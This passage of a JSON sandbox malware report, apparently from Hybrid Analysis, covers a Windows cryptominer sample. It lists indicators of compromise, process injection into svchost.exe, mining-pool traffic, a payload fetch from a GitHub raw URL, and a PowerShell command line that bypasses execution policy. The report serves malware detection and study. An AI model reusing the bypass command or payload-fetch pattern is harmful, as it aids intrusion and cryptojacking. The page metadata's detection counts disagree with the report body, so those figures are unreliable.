Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"CreateThread\n VirtualAlloc\n GetThreadContext\n LoadLibraryExW\n WriteFile\n GetProcAddress\n GetSystemDirectoryA\n GetSystemInfo\n Sleep\n VirtualProtect","origin":"Static Parser","mitre_attack_id":"T1106","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Queries firmware table information (may be used to fingerprint/evade)","description":"\"svchost.exe\" at 00000000-00000792-00000C15-707904644\n \"svchost.exe\" at 00000000-00000792-00000C15-707909262","origin":"API Call","mitre_attack_id":"T1120","relevance":10,"id":"api-65","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Windows system process connects to a network","description":"Process \"svchost.exe\" connects to 45.32.65.138:443","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":7,"id":"target-269","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"14/27 Antivirus vendors marked dropped file \"svcctrl3249_1523.exe\" as malicious (classified as \"Win64.Kryptik\" with 51% detection rate)","origin":"Binary File","mitre_attack_id":"T1204.002","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"14/27 Antivirus vendors marked spawned process \"svcctrl3249_1523.exe\" (PID: 7864) as malicious (classified as \"Win64.Kryptik\" with 51% detection rate)","origin":"Monitored Target","mitre_attack_id":"T1204.002","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"\"svcctrl3249_1523.exe\" wrote 00000400 bytes to a remote process \"C:\\Windows\\System32\\svchost.exe\" (Handle: 336)\n \"svcctrl3249_1523.exe\" wrote 00000000 bytes to a remote process \"C:\\Windows\\System32\\svchost.exe\" (Handle: 336)\n \"svcctrl3249_1523.exe\" wrote 001CE400 bytes to a remote process \"C:\\Windows\\System32\\svchost.exe\" (Handle: 336)\n \"svcctrl3249_1523.exe\" wrote 00000600 bytes to a remote process \"C:\\Windows\\System32\\svchost.exe\" (Handle: 336)\n \"svcctrl3249_1523.exe\" wrote 00000008 bytes to a remote process \"C:\\Windows\\System32\\svchost.exe\" (Handle: 336)","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"hashvault.pro\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"level":"malicious","category":"System Security","name":"Executes powershell requesting to bypass execution policy","description":"Process \"powershell.exe\" with commandline \"-NoProfile -ExecutionPolicy Bypass -Command \"$script = [ScriptBlock]::Create(($input | Out-String)); & $script .\\\\def.ps1 C:\\\\\\\\\"\" (UID: 00000000-00001336)","origin":"Monitored Target","mitre_attack_id":"T1059.001","relevance":5,"id":"target-29","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]}],"incidents":[{"name":"Persistence","details_count":2,"details":[{"detail":"Writes data to a remote process"},{"detail":"Creates new processes"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"name":"Fingerprint","details_count":1,"details":[{"detail":"Queries firmware table information (may be used to fingerprint/evade)"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"name":"Evasive","details_count":3,"details":[{"detail":"Marks file for deletion"},{"detail":"May attempt to implement anti-virtualization techniques using MAC address detection"},{"detail":"Found a reference to a WMI query string known to be used for VM detection"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]}],"intel_graph":{"map":{"Domain:pool.hashvault.pro":{"type":"Domain","value":"pool.hashvault.pro"},"Domain:raw.githubusercontent.com":{"type":"Domain","value":"raw.githubusercontent.com"},"File:11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5":{"type":"File","value":"11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5"},"File:66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7":{"type":"File","value":"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7"},"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf":{"type":"File","value":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"},"File:bcb226ad5cf776ae7d3f6c572c9dc7f7d074d0d801adbf54153cc87f41d06db5":{"type":"File","value":"bcb226ad5cf776ae7d3f6c572c9dc7f7d074d0d801adbf54153cc87f41d06db5"},"Ip:185.199.108.133":{"type":"Ip","value":"185.199.108.133"},"Ip:208.167.233.7":{"type":"Ip","value":"208.167.233.7"},"Ip:45.32.65.138":{"type":"Ip","value":"45.32.65.138"},"Url:/qolewoqogu039-dotcom/test123/refs/heads/main/0910":{"type":"Url","value":"/qolewoqogu039-dotcom/test123/refs/heads/main/0910"}},"chains":[{"id":"sandbox_network","root":"File:66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","edges":[{"edge_kind":"contacted_ip","from_key":"File:66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","to_key":"Ip:45.32.65.138"},{"edge_kind":"contacted_ip","from_key":"File:66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","to_key":"Ip:185.199.108.133"},{"edge_kind":"contacted_ip","from_key":"File:66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","to_key":"Ip:208.167.233.7"},{"edge_kind":"contacted_domain","from_key":"File:66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","to_key":"Domain:pool.hashvault.pro"},{"edge_kind":"resolves_to","from_key":"Domain:pool.hashvault.pro","to_key":"Ip:45.32.65.138"},{"edge_kind":"contacted_domain","from_key":"File:66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","to_key":"Domain:raw.githubusercontent.com"},{"edge_kind":"resolves_to","from_key":"Domain:raw.githubusercontent.com","to_key":"Ip:185.199.108.133"},{"edge_kind":"contacted_url","from_key":"File:66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","to_key":"Url:/qolewoqogu039-dotcom/test123/refs/heads/main/0910"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}},{"id":"sandbox_files","root":"File:66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","edges":[{"edge_kind":"extracted","from_key":"File:66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","to_key":"File:66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7"},{"edge_kind":"extracted","from_key":"File:66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","to_key":"File:bcb226ad5cf776ae7d3f6c572c9dc7f7d074d0d801adbf54153cc87f41d06db5"},{"edge_kind":"extracted","from_key":"File:66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","to_key":"File:11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5"},{"edge_kind":"extracted","from_key":"File:66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","to_key":"File:a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf"}],"verdict":{"verdict":"unknown","verdict_source":"sandbox"}}]}},"activity":{"stats":{"process_count":4,"spawned_processes_count":4,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":7,"imported_dlls_count":109,"dropped_files_count":0,"extracted_files_count":4,"files_written_count":13,"files_deleted_count":0,"registry_keys_created_count":1,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":1,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":2,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["commodity","mineware","criminal","xmrig","windows-server-utility","evasive","malicious"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6acbb29565c684fc070e1de8","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"W64.Evo","contacted_countries":["USA"],"submit_name":"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe","analysis_start_time":"2026-10-11T16:00:23+00:00","indicators_count":{"informative":307,"suspicious":54,"malicious":11},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"45.32.65.138","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"address":"185.199.108.133","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"address":"208.167.233.7","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]}],"dns_resolutions":[{"domain":"pool.hashvault.pro","address":"45.32.65.138","ttl":60,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"domain":"raw.githubusercontent.com","address":"185.199.108.133","ttl":598,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]}],"http_requests":[{"host":"raw.githubusercontent.com","host_ip":"185.199.108.133:443","url":"/qolewoqogu039-dotcom/test123/refs/heads/main/0910","method":"GET","response_code":"200","response_phrase":"OK","header":"GET /qolewoqogu039-dotcom/test123/refs/heads/main/0910 HTTP/1.1\nAccept: */*\nConnection: close\nHost: raw.githubusercontent.com\nUser-Agent: cpp-httplib/0.12.6","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}],"processes":[{"pid":3628,"ppid":0,"name":"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe","command_line":"","sha256":"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","normalized_path":"C:\\66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe","uid":"00000000-00003628","icon":"$8f"},{"pid":1336,"ppid":3628,"name":"powershell.exe","command_line":"-NoProfile -ExecutionPolicy Bypass -Command \"$script = [ScriptBlock]::Create(($input | Out-String)); & $script .\\def.ps1 C:\\\\\"","sha256":"34507738f84b9d4f231dc0c187fee4a03b4ddb84cf63ff56a4a1761a9bd56ea6","normalized_path":"%WINDIR%\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","parent_uid":"00000000-00003628","uid":"00000000-00001336"},{"pid":7864,"ppid":3628,"name":"svcctrl3249_1523.exe","command_line":"","sha256":"bcb226ad5cf776ae7d3f6c572c9dc7f7d074d0d801adbf54153cc87f41d06db5","normalized_path":"%APPDATA%\\Microsoft\\Edge\\Update\\Download\\Runtime\\svcctrl3249_1523.exe","parent_uid":"00000000-00003628","uid":"00000000-00007864"},{"pid":792,"ppid":7864,"name":"svchost.exe","command_line":"","sha256":"b868487f8edbd0571d30d89573f087bfeac3da190652344afd351b1868ea0f8b","normalized_path":"%WINDIR%\\system32\\svchost.exe","parent_uid":"00000000-00007864","uid":"00000000-00000792"}],"all_imported_dlls":["rasadhlp.dll","winmmbase.dll","ntdll.dll","gpapi.dll","pOWXqEZK.dll","System.Transactions.ni.dll","System.Transactions.dll","Microsoft.Management.Infrastructure.Native.ni.dll","wbemcomn.dll","msvcrt.dll","msasn1.dll","dhcpcsvc6.dll","user32.dll","ws2_32.dll","powrprof.dll","windows.storage.dll","clbcatq.dll","mscoreei.dll","MpOAV.dll","System.Data.ni.dll","oleaut32.dll","shell32.dll","System.DirectoryServices.ni.dll","System.Data.dll","miutils.dll","dhcpcsvc.dll","mswsock.dll","win32u.dll","ucrtbase.dll","uxtheme.dll","profapi.dll","slc.dll","Microsoft.PowerShell.Commands.Management.ni.dll","kernel32.dll","rpcrt4.dll","fltLib.dll","shlwapi.dll","cryptbase.dll","System.Xml.ni.dll","mi.dll","dnsapi.dll","sechost.dll","psapi.dll","mscorlib.ni.dll","System.ni.dll","System.Management.ni.dll","clrjit.dll","secur32.dll","System.Configuration.Install.ni.dll","ole32.dll","taskschd.dll","apphelp.dll","mscoree.dll","Microsoft.PowerShell.Security.ni.dll","System.Configuration.ni.dll","IPHLPAPI.DLL","pnrpnsp.dll","rsaenh.dll","cfgmgr32.dll","vcruntime140_1.dll","sspicli.dll","clr.dll","vcruntime140_clr0400.dll","Microsoft.PowerShell.ConsoleHost.ni.dll","wbemsvc.dll","msvcp140.dll","vcruntime140.dll","cryptsp.dll","SHCore.dll","System.Core.ni.dll","sppc.dll","nsi.dll","KernelBase.dll","bcryptprimitives.dll","VxSSL64.dll","sxs.dll","xmllite.dll","Microsoft.Management.Infrastructure.ni.dll","wbemprox.dll","winrnr.dll","gdi32.dll","gdi32full.dll","msvcp_win.dll","version.dll","ucrtbase_clr0400.dll","System.Management.Automation.ni.dll","Microsoft.PowerShell.Commands.Utility.ni.dll","dpapi.dll","combase.dll","imm32.dll","kernel.appcore.dll","bcrypt.dll","wintrust.dll","MpClient.dll","fastprox.dll","winnsi.dll","winmm.dll","advapi32.dll","amsi.dll","System.Numerics.ni.dll","wldp.dll","NapiNSP.dll","FWPUCLNT.DLL","atl.dll","crypt32.dll","userenv.dll","Microsoft.Management.Infrastructure.Native.Unmanaged.dll","wmidcom.dll","nlaapi.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe","sha256":"66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"name":"svcctrl3249_1523.exe","sha256":"bcb226ad5cf776ae7d3f6c572c9dc7f7d074d0d801adbf54153cc87f41d06db5","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"name":"nfpvxyybtomq.sys","sha256":"11bd2c9f9e2397c9a16e0990e4ed2cf0679498fe0fd418a3dfdac60b5c160ee5","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"name":"StartupProfileData-NonInteractive","sha256":"a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]}],"files_written":[{"path":"%APPDATA%\\Microsoft\\Edge\\Update\\Download\\66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7.exe","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"path":"%APPDATA%\\Microsoft\\Edge\\Update\\Download\\Runtime\\svcctrl3249_1523.exe","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"path":"%WINDIR%\\System32\\CatRoot","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"path":"%WINDIR%\\System32\\catroot2","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_30lqontp.eln.ps1","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"path":"%TEMP%\\__PSScriptPolicyTest_xaibstc0.ocl.psm1","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\PowerShell\\StartupProfileData-NonInteractive","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"path":"%TEMP%\\nfpvxyybtomq.sys","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D03DB0C1-2729-4674-A875-8625DD784300}","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{D27478B9-2058-11E8-B41F-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{3FC98E00-C370-43D9-A2DC-B067CC06FAD9}","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\WBEM\\CIMOM\\","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:1336:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"name":"SM0:1336:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"name":"\\BaseNamedObjects\\oybfmfpngkmtnawe","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:792:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:792:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"name":"Local\\SM0:792:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]},{"name":"SM0:792:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"6acbb29565c684fc070e1de8"}]}]}},"report_ids":{"sandbox_job_ids":["6acbb29565c684fc070e1de8"]}}}]]}] 1e:null 22:[["$","title","0",{"children":"Malicious Win/malicious_confidence_70% Sample 66020bbfa674… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 66020bbfa674…. Malware family: Win/malicious_confidence_70%. Threat score 100/100. 5/27 AV engines flagged this file. 7 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7"}],["$","meta","4",{"property":"og:title","content":"Malicious Win/malicious_confidence_70% Sample 66020bbfa674… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 66020bbfa674…. Malware family: Win/malicious_confidence_70%. Threat score 100/100. 5/27 AV engines flagged this file. 7 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/66020bbfa6744e606b312416f65e1c69b44f98ad9fee49c63e100bf32ffee4b7"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Win/malicious_confidence_70% Sample 66020bbfa674… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 66020bbfa674…. Malware family: Win/malicious_confidence_70%. Threat score 100/100. 5/27 AV engines flagged this file. 7 malicious and 17 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L90","11",{}]]